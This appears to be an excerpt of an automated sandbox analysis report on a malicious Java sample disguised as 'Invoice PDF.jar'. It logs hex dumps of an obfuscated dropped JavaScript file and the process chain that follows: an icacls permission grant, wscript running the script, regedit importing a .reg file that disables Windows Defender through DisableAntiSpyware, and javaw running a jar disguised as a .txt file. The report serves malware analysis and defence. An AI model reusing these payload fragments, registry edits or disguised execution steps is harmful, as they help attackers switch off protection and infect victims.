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57 7b 30 7d 4a 61 4c 
7b 30 7d 77 6c 5a 56 
64 30 4e 7b 32 7d 45 
32 7b 30 7d 7a 41 35 
4f 55 5a 4e 5a 57 31 
6b 56 47 35 36 62 6c 
6c 7b 30 7d 61 57 56 
50 55 55 78 6d 59 55 
31 43 59 55 55 30 4f 
47 35 74 51 6a 4a 47 
4d 58 41 7a 63 6b 7b 
31 7d 57 53 6d 49 34 
56 57 68 76 53 31 55 
34 57 6d 34 34 5a 6e 
4e 59 63 32 45 33 64 
56 56 55 51 32 74 6d 
4e 6a 42 6e 55 6b 31 
69 57 7b 30 7d 68 30 
4d 6b 4d 78 55 57 30 
7a 7b 30 7d 7b 30 7d 
6c 58 7b 30 7d 58 5a 
46 62 58 5a 46 62 7b 
30 7d 46 69 59 55 35 
6f 53 48 6c 4b 57 58 
4a 31 65 47 6c 7b 30 
7d 59 32 64 76 56 6c 
64 59 65 57 74 58 56 
7a 56 77 4f 57 52 69 
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7b 30 7d 47 35 71 62 
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41 33 64 56 64 4d 63 
58 56 58 57 45 4e 71 
61 6b 4a 74 4f 48 5a 
75 57 47 7b 31 7d 74 
62 58 52 47 64 46 4e 
48 4d 48 4a 4f 7b 30 
7d 6e 51 31 53 6c 5a 
7b 30 7d 52 58 68 51 
61 57 78 7a 7b 30 7d 
43 30 38 4a 56 6c 4c 
7b 30 7d 57 68 4e 51 
31 59 7a 56 33 64 45 
7b 30 7d 6b 64 4f 7b 
30 7d 57 35 46 63 45 
4a 77 63 45 51 79 7b 
30 7d 58 4e 78 7b 30 
7d 6c 42 76 55 47 4a 
61 56 7b 32 7d 4a 48 
4b 30 39 5a 64 57 4a 
51 57 6d 31 4c 53 47 
74 32 64 55 4e 46 55 
79 74 55 52 45 74 61 
53 33 46 31 52 6b 35 
51 55 6b 64 79 61 30 
7b 31 7d 50 55 48 68 
59 7b 30 7d 7b 30 7d 
56 6c 4e 6d 52 77 63 
55 4a 47 65 56 52 5a 
52 33 68 51 53 32 52 
6a 61 47 78 76 62 56 
4a 4d 52 58 4a 79 7b 
30 7d 56 6c 4c 64 31 
46 79 52 6a 52 31 52 
6c 6b 33 5a 45 7b 31 
7d 61 4d 31 7b 31 7d 
36 4e 6a 
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C:\Users\user\bgddtomvyl.js unknown 1024 7b 30 7d 5a 58 56 43 
74 36 62 45 5a 7b 32 
7d 7b 30 7d 55 5a 56 
52 53 39 4d 4d 45 4e 
58 5a 6d 74 57 5a 6e 
64 49 52 33 64 7b 31 
7d 55 30 5a 55 4d 32 
59 76 62 57 7b 31 7d 
74 59 6e 7b 31 7d 4c 
4d 56 4d 7a 5a 6a 4e 
35 55 6e 6c 6e 55 6e 
68 76 4f 47 7b 31 7d 
32 4e 6c 59 35 4e 6b 
5a 48 63 30 39 47 5a 
57 7b 31 7d 55 61 7b 
32 7d 56 4e 65 6b 39 
57 4b 31 68 31 7b 30 
7d 6a 46 34 65 55 68 
6a 7b 30 7d 30 39 6d 
61 6e 64 47 61 32 78 
50 56 58 56 7b 32 7d 
61 30 34 34 57 7b 30 
7d 4e 45 5a 6a 67 76 
63 57 5a 4c 55 46 52 
77 55 58 4a 61 5a 6c 
5a 53 52 6c 49 31 4e 
6a 55 7a 62 55 39 6c 
62 58 64 46 64 56 46 
7b 31 7d 4b 7a 56 4b 
4c 7b 30 7d 77 6c 62 
33 4e 50 61 46 52 34 
63 6a 46 59 53 58 6c 
72 7b 30 7d 46 49 30 
4e 7a 45 77 4f 7b 30 
7d 56 4c 7b 30 7d 45 
56 5a 4f 55 67 31 53 
7a 64 77 
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65 7b 32 7d 64 35 5a 
6b 31 69 63 57 73 77 
4c 7b 30 7d 77 6c 57 
6a 64 30 59 57 4e 46 
64 30 6f 77 53 56 7b 
31 7d 4f 52 31 5a 57 
63 57 35 35 61 56 41 
79 51 6e 52 4e 4d 31 
49 35 5a 30 5a 59 51 
32 64 43 57 56 4a 52 
5a 47 35 34 52 47 67 
31 61 46 5a 49 62 6d 
78 50 55 6b 77 7a 4e 
58 5a 57 57 43 39 4e 
4d 57 74 69 4d 45 74 
6f 52 47 59 30 4e 6d 
35 68 56 6d 6f 34 7b 
30 7d 6a 4a 79 5a 45 
34 72 55 6a 6c 4c 4c 
7b 30 7d 77 6c 4b 32 
35 35 55 6b 4a 49 5a 
58 7b 31 7d 72 61 32 
52 74 55 47 39 59 57 
58 59 76 7b 30 7d 7a 
4a 5a 5a 6d 4a 74 53 
30 30 32 52 6d 6c 7b 
31 7d 59 33 5a 78 56 
58 64 72 64 32 30 34 
56 32 4d 77 64 6c 64 
45 56 32 31 4a 55 6a 
4e 57 55 32 59 30 59 
31 64 47 4b 79 74 79 
59 6a 59 31 62 30 52 
68 57 47 64 72 53 79 
30 38 4a 55 78 68 51 
33 4e 51 

2htKzA4e{2}d5Zk1icWswL
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4a 6a 63 45 31 71 5a 
7b 32 7d 52 47 4d 55 
4d 77 4e 55 30 7a 59 
6d 45 34 65 6c 42 78 
63 6d 39 5a 61 6b 38 
32 7b 30 7d 58 7b 31 
7d 74 4d 30 7b 31 7d 
4f 65 46 7b 31 7d 33 
55 58 64 61 63 46 6b 
79 4c 7b 30 7d 77 6c 
4d 57 56 4a 5a 6b 7b 
31 7d 74 4f 55 74 6e 
53 6a 64 51 61 47 38 
76 4f 48 46 72 65 55 
6c 32 53 48 4d 74 50 
43 55 77 53 56 6f 76 
59 7b 30 7d 68 6c 51 
6d 4e 4d 62 6e 64 7a 
59 30 56 33 61 6c 4a 
49 63 31 56 6b 62 55 
38 33 4e 6e 56 30 4f 
47 73 79 5a 47 7b 31 
7d 32 7b 30 7d 56 67 
76 64 47 46 7b 31 7d 
64 43 30 38 4a 56 6c 
61 64 45 59 78 4f 7b 
30 7d 42 4a 5a 33 52 
71 61 33 5a 45 52 7a 
67 31 59 7a 46 52 64 
56 4a 74 59 31 68 47 
56 48 63 72 4c 7b 30 
7d 77 6c 61 58 4e 59 
56 32 38 76 5a 30 56 
7b 31 7d 62 47 46 58 
59 6b 74 78 56 6e 68 
46 56 31 
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4elBxcm9Zak82{0}X{1}tM0
{1}OeF{
1}3UXdacFkyL{0}wlMWVJ
Zk{1}tOUt
nSjdQaG8vOHFreUl2SHM
tPCUwSVovY
{0}hlQmNMbndzY0V3alJIc
1VkbU83N
nV0OGsyZG{1}2{0}VgvdG
F{1}dC08J
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V28vZ0V{1
}bGFXYktxVnhFV1
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77 34 4d 56 6c 4a 53 
30 64 72 7b 30 7d 6a 
64 76 64 6d 4d 7a 4d 
7a 49 30 55 32 4e 49 
62 58 7b 31 7d 7a 63 
6b 49 30 4f 47 46 49 
5a 48 4a 49 4f 7b 30 
7d 46 78 62 47 5a 47 
5a 57 49 72 62 33 64 
57 5a 58 68 43 5a 58 
68 61 52 31 42 47 57 
7b 32 7d 5a 32 63 55 
64 72 63 58 6f 30 65 
6d 6c 4f 5a 6c 52 75 
59 6d 6c 52 57 6d 31 
4e 65 55 63 30 7b 30 
7d 6e 55 77 4d 30 49 
32 59 6d 45 77 59 55 
39 57 4c 33 56 52 62 
55 64 7b 31 7d 57 55 
4e 6e 5a 6b 68 7b 31 
7d 7b 30 7d 6b 67 79 
55 6b 56 78 59 56 4d 
7a 61 6c 59 78 64 30 
38 79 52 46 46 35 55 
48 5a 4b 5a 6b 4e 77 
4f 45 6c 6b 4c 7b 30 
7d 77 6c 63 45 30 78 
59 6e 4a 55 64 6b 68 
43 5a 6e 64 43 5a 46 
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43 56 6b 65 7b 30 7d 
6c 30 57 56 63 31 63 
47 4a 75 55 6d 39 61 
57 45 35 79 5a 56 63 
78 61 47 4a 74 62 48 
56 6b 52 32 68 73 59 
7a 4a 30 4e 57 4a 58 
52 6e 56 68 56 7a 55 
77 59 55 64 57 65 6d 
45 7a 62 48 52 5a 56 
7a 56 77 59 6d 35 53 
62 31 7b 31 7d 59 7b 
30 7d 6e 4a 6c 56 7a 
46 6f 59 6d 31 73 64 
57 52 48 61 47 78 6a 
4d 6e 51 

0}wlVUVzREJCUS08JUMt
PCVnSS08JU
otPCVFa2xJL{0}wlL{0}wlL{
0}wlL{
0}wlL{0}wlL{0}wlL{0}wlL{0}w
lL{
0}wlL{0}wlL{0}wlL{0}wlL{0}w
lL{
0}wlL{0}wlQ0MtPCUtPCUt
PCUtPCVk
e{0}l0WVc1cGJuUm9aWE
5yZVcxaGJt
bHVkR2hsYzJ0NWJXRnV
hVzUwYUdWem
EzbHRZVzVwYm5Sb1{1}
Y{0}nJlVzFo
Ym1sdWRHaGxjMnQ

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 30 38 4a 57 52 35 4f 
58 52 5a 56 7a 56 77 
59 6d 35 53 62 31 7b 
31 7d 59 7b 30 7d 6e 
4a 6c 56 7a 46 6f 59 
6d 31 73 64 57 52 48 
61 47 78 6a 4d 6e 51 
31 59 6c 64 47 64 57 
46 58 4e 7b 30 7d 42 
68 52 31 5a 36 59 7b 
30 7d 4e 73 64 46 6c 
58 4e 58 42 69 62 6c 
4a 76 57 6c 68 4f 63 
6d 56 58 4d 57 68 69 
62 57 78 31 5a 45 64 
6f 62 47 4d 79 64 7b 
32 7d 56 69 56 30 5a 
31 59 56 63 31 4d 47 
46 48 56 6e 7b 31 7d 
68 4d 32 78 30 59 6c 
64 47 64 57 46 58 4e 
7b 30 7d 42 68 52 31 
5a 36 59 7b 30 7d 4e 
73 64 46 6c 58 4e 58 
42 69 62 6c 4a 76 57 
6c 68 4f 63 6d 56 58 
4d 57 68 69 62 57 78 
31 5a 45 64 6f 62 47 
4d 79 64 7b 32 7d 56 
69 56 30 5a 31 59 56 
63 31 4d 47 46 48 56 
6e 7b 31 7d 68 4d 32 
78 6f 59 6d 31 73 64 
57 52 48 61 47 78 6a 
4d 6e 51 31 59 30 64 
46 64 56 6b 79 65 47 
68 6a 4d 

08JWR5OXRZVzVwYm5S
b1{1}Y{0}nJl
VzFoYm1sdWRHaGxjMn
Q1YldGdWFXN{
0}BhR1Z6Y{0}NsdFlXNXBi
blJvWlhO
cmVXMWhibWx1ZEdobG
Myd{2}ViV0Z1
YVc1MGFHVn{1}hM2x0Yl
dGdWFXN{0}
BhR1Z6Y{0}NsdFlXNXBibl
JvWlhOcm
VXMWhibWx1ZEdobGMy
d{2}ViV0Z1YV
c1MGFHVn{1}hM2xoYm1s
dWRHaGxjMn
Q1Y0dFdVkyeGhjM

success or wait 2 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Users\user\Desktop\Invoice PDF.jar unknown 22 success or wait 1 E770AE ReadFile

C:\Users\user\Desktop\Invoice PDF.jar unknown 1024 success or wait 1 E770AE ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\i386\jvm.cfg unknown 4096 success or wait 1 E770AE ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\i386\jvm.cfg unknown 4096 end of file 1 E770AE ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 1024 success or wait 1 6DE6ADA8 unknown

File ReadFile Read
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 4096 success or wait 1 6DD2C013 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 4096 end of file 1 6DD2C2CA unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 97 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\meta-index unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\meta-index unknown 8192 end of file 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 8192 end of file 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\Desktop\Invoice PDF.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\Desktop\Invoice PDF.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 154 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\resources.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 3954 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 31191 success or wait 367 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 4 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 4 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 2 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\jartracer.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 466 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\Desktop\Invoice PDF.jar unknown 61 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\Desktop\Invoice PDF.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\Desktop\Invoice PDF.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 16 73789F67 ReadFile

C:\Users\user\Desktop\Invoice PDF.jar unknown 132 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\Desktop\Invoice PDF.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\Desktop\Invoice PDF.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol

Analysis Process: icacls.exe PID: 6968 Parent PID: 6892Analysis Process: icacls.exe PID: 6968 Parent PID: 6892
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File ActivitiesFile Activities

Start time: 23:32:54

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\icacls.exe

Wow64 process (32bit): true

Commandline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 
'everyone':(OI)(CI)M

Imagebase: 0x11f0000

File size: 29696 bytes

MD5 hash: FF0D1D4317A44C951240FAE75075D501

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

Start time: 23:32:54

Start date: 19/04/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ActivitiesFile Activities

Start time: 23:32:54

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\wscript.exe

Wow64 process (32bit): true

Commandline: wscript C:\Users\user\bgddtomvyl.js

Imagebase: 0xa40000

File size: 147456 bytes

MD5 hash: 7075DD7B9BE8807FCA93ACD86F724884

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

General

Analysis Process: conhost.exe PID: 6984 Parent PID: 6968Analysis Process: conhost.exe PID: 6984 Parent PID: 6968

General

Analysis Process: wscript.exe PID: 6992 Parent PID: 6892Analysis Process: wscript.exe PID: 6992 Parent PID: 6892

General

File CreatedFile Created
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Registry ActivitiesRegistry Activities

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6FDC69BF CreateFileW

File Path Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg success or wait 1 6FDDA8A4 DeleteFileW

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Te
mp\ebgeaegdbdecaedfebace.reg

unknown 141 57 69 6e 64 6f 77 73 
20 52 65 67 69 73 74 
72 79 20 45 64 69 74 
6f 72 20 56 65 72 73 
69 6f 6e 20 35 2e 30 
30 0a 0a 5b 48 4b 45 
59 5f 4c 4f 43 41 4c 5f 
4d 41 43 48 49 4e 45 
5c 53 4f 46 54 57 41 
52 45 5c 50 6f 6c 69 
63 69 65 73 5c 4d 69 
63 72 6f 73 6f 66 74 
5c 57 69 6e 64 6f 77 
73 20 44 65 66 65 6e 
64 65 72 5d 0a 22 44 
69 73 61 62 6c 65 41 
6e 74 69 53 70 79 77 
61 72 65 22 3d 64 77 
6f 72 64 3a 30 30 30 
30 30 30 30 31 0a 0a 

Windows Registry Editor 
Version 5.00..
[HKEY_LOCAL_MACHINE
\SO
FTWARE\Policies\Microsof
t\Windows 
Defender]."DisableAntiSpy
ware"=dword:00000001..

success or wait 1 6FDC9601 WriteFile

C:\Users\user\AppData\Local\Te
mp\ebgeaegdbdecaedfebace.reg

unknown 2 0d 0a .. success or wait 1 6FDC9601 WriteFile

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Name Type Data Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 23:32:59

Start date: 19/04/2021

Path: C:\Windows\SysWOW64\regedit.exe

Wow64 process (32bit): true

Commandline: 'regedit.exe' 'C:\Users\user\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg'

Imagebase: 0xde0000

File size: 316416 bytes

MD5 hash: 617538C965AC4DDC72F9CF647C4343D5

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Path Offset Length Completion Count
Source
Address Symbol

File DeletedFile Deleted

File WrittenFile Written

Analysis Process: regedit.exe PID: 7120 Parent PID: 6992Analysis Process: regedit.exe PID: 7120 Parent PID: 6992

General

File ReadFile Read
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C:\Users\user\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg unknown 2 success or wait 1 DEDEFC ReadFile

C:\Users\user\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg unknown 65536 success or wait 1 DEEE5C ReadFile

C:\Users\user\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg unknown 65536 end of file 1 DEEE5C ReadFile

C:\Users\user\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg unknown 65536 end of file 1 DEEE5C ReadFile

File Path Offset Length Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 23:33:13

Start date: 19/04/2021

Path: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe'  -jar 'C:\Users\user\AppData\Roam
ing\jhxromh.txt'

Imagebase: 0xd40000

File size: 192376 bytes

MD5 hash: 4BFEB2F64685DA09DEBB95FB981D4F65

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\hsperfdata_user read data or list 
directory | 
synchronize

device directory file | 
